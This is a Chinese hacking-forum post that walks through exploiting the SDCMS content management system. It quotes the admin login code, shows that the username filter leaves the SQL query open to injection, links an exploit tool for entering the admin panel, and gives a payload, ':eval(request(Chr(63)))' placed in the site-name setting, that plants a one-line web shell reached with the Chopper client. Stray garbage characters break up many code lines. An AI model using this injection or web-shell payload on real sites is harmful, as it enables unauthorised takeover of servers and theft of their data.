SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

8 S& ?8 \% Y5 S0 |Sub Check
    Dim username,password,code,getcode,Rs
1 r" o0 A% o7 y5 ], X    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
4 n3 J: z8 `5 _, X. s0 h) \    username=FilterText(Trim(Request.Form("username")),1)
2 s/ Y: I% t- a! ]5 Y+ D    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
* n  d& w/ g1 F) w3 y    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
& R5 E7 E, B0 }4 U/ C# I$ Z4 S3 k1 t        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
; w+ `' }0 n( u/ u' k  O: D$ u            Add_Cookies "sdcms_id",Rs(0)
+ p, W* n( k5 G            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
# }4 a& N' @3 @7 E  t            Add_Cookies "sdcms_admin",Rs(3)
- y/ n, a, M4 G, e6 y( M; U8 ^7 A            Add_Cookies "sdcms_alllever",Rs(4)
% w' W5 R1 ?1 M: _4 B  B            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
: I7 k+ X! f* F            AddLog username,GetIp,"登录成功",1
. j0 \5 c! K# C9 u% Q            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
0 q) O! W( t# Y1 ?                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
. o% c) i; H0 Z  u& v8 a                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
2 `/ T$ U7 ?. |0 l            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
2 c0 |& L& B, q; w  y8 c# _    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
: A$ [: E% q' b' k: N4 U    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
  C! x8 W4 F3 }( e8 l& U0 A) ?7 ?    t0=Trim(t0)
. D4 z9 _  W0 C    Select Case t1
0 a5 `0 I& O2 N! x, r        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
1 d# G& w$ T% R5 z- S$ K& v            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) a- Q0 Q; P6 Z: C; O! P8 x            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
' n; t) A3 r$ Z5 V) A( q$ Q            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
! \8 c8 n. q2 {: b; z            t0=Replace(t0,Chr(22),"")
4 @# \7 @! o6 _7 X2 X8 y            t0=Replace(t0,Chr(32),"")'空格 SPACE
$ ~& |2 v% r  k# H4 L6 O            t0=Replace(t0,Chr(33),"")'!
8 l' _6 A# G. r3 @! G            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
. K% e& U0 v: k6 u$ I6 O( T9 h) u            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
' ~$ K: t* e% @- i2 t            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
1 n4 ~, ]9 G8 S- l4 `) a4 Y            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
. y+ P  f3 c5 o4 r3 F, ?            t0=Replace(t0,Chr(44),"")',
# g4 V/ \  n* T            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
  T# ~8 Z) z: x4 |6 {            t0=Replace(t0,Chr(47),"")'/
' v7 \! k0 c* C            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
/ ?: |1 Q. }. I* T- ^' Y" A            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
3 N* F( J, G( g, M  o            t0=Replace(t0,Chr(64),"")'@
2 R  ^" t& q$ I5 D- _            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
$ O0 T& v( P" i7 l5 f$ g9 w, p5 ]            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
9 ?5 b6 D7 C/ x# F5 D" h" S9 |. p            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
! \% {" D& h- }/ K9 i9 j6 H( g            t0=Replace(t0,Chr(124),"")'|
3 K9 [5 q# P4 t5 F$ b            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
* L  ]6 I$ g4 v    Case Else
        t0=Replace(t0, "&", "&")
# x& m" R5 n, k: N3 H. @' k' ]- X        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
0 M+ b( Y7 ^2 Z+ A0 U6 m9 p        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
% W9 ?$ z0 H4 C) O# W    End If
    FilterText=t0
End Function

) Q# q( k3 `2 Q; G/ `看到没。直接参数是1 只过滤
: B& z" q7 }$ l! Z. `+ w                        t0=Replace(t0,Chr(32)," ")
; U. d# q4 W- Q+ ]- q" H                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
, b+ a# l( Y8 f% G3 I" i                        t0=Replace(t0,Chr(10),"
7 f4 q1 q$ `0 q/ v: D")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
; [7 g7 F) J) y% Y- ^EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 ]/ l* v0 F2 ^0 s4 B# ]/ E
( r$ h  Q4 [8 T. y  l0 s测试:
7 L' e, O" g, F& K4 I
( h6 _- @: z8 j, b# j
* r: R, g: l8 e  j8 C, e: e现在输入工具上验证码,然后点OK

; `" p2 v! `  P. k
看到我们直接进入后台管理界面了,呵呵!
8 ?8 e6 k' U) ]9 Q! h* z# y

; N+ N8 q) f) U% ^; K
9 q6 u* a5 t$ T% D) M这样直接进入后台了。。。。
) v7 k. V. [/ o; y% M
/ q% U7 T: c( h( \" p2 m* v6 S

# j6 b6 r1 W) u  i6 F3 e6 FSDCMS提权:
; a; Y/ i4 O, M" G. M
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
5 H5 S( h) h9 V


; m& ]% U% G+ e$ J2 Y. eOK,现在用菜刀连接下!
7 r4 x8 K: m! C0 D2 y6 C* Q; a
- J5 `+ ~- j8 \" t


/ V) k* T, e( _  ]9 s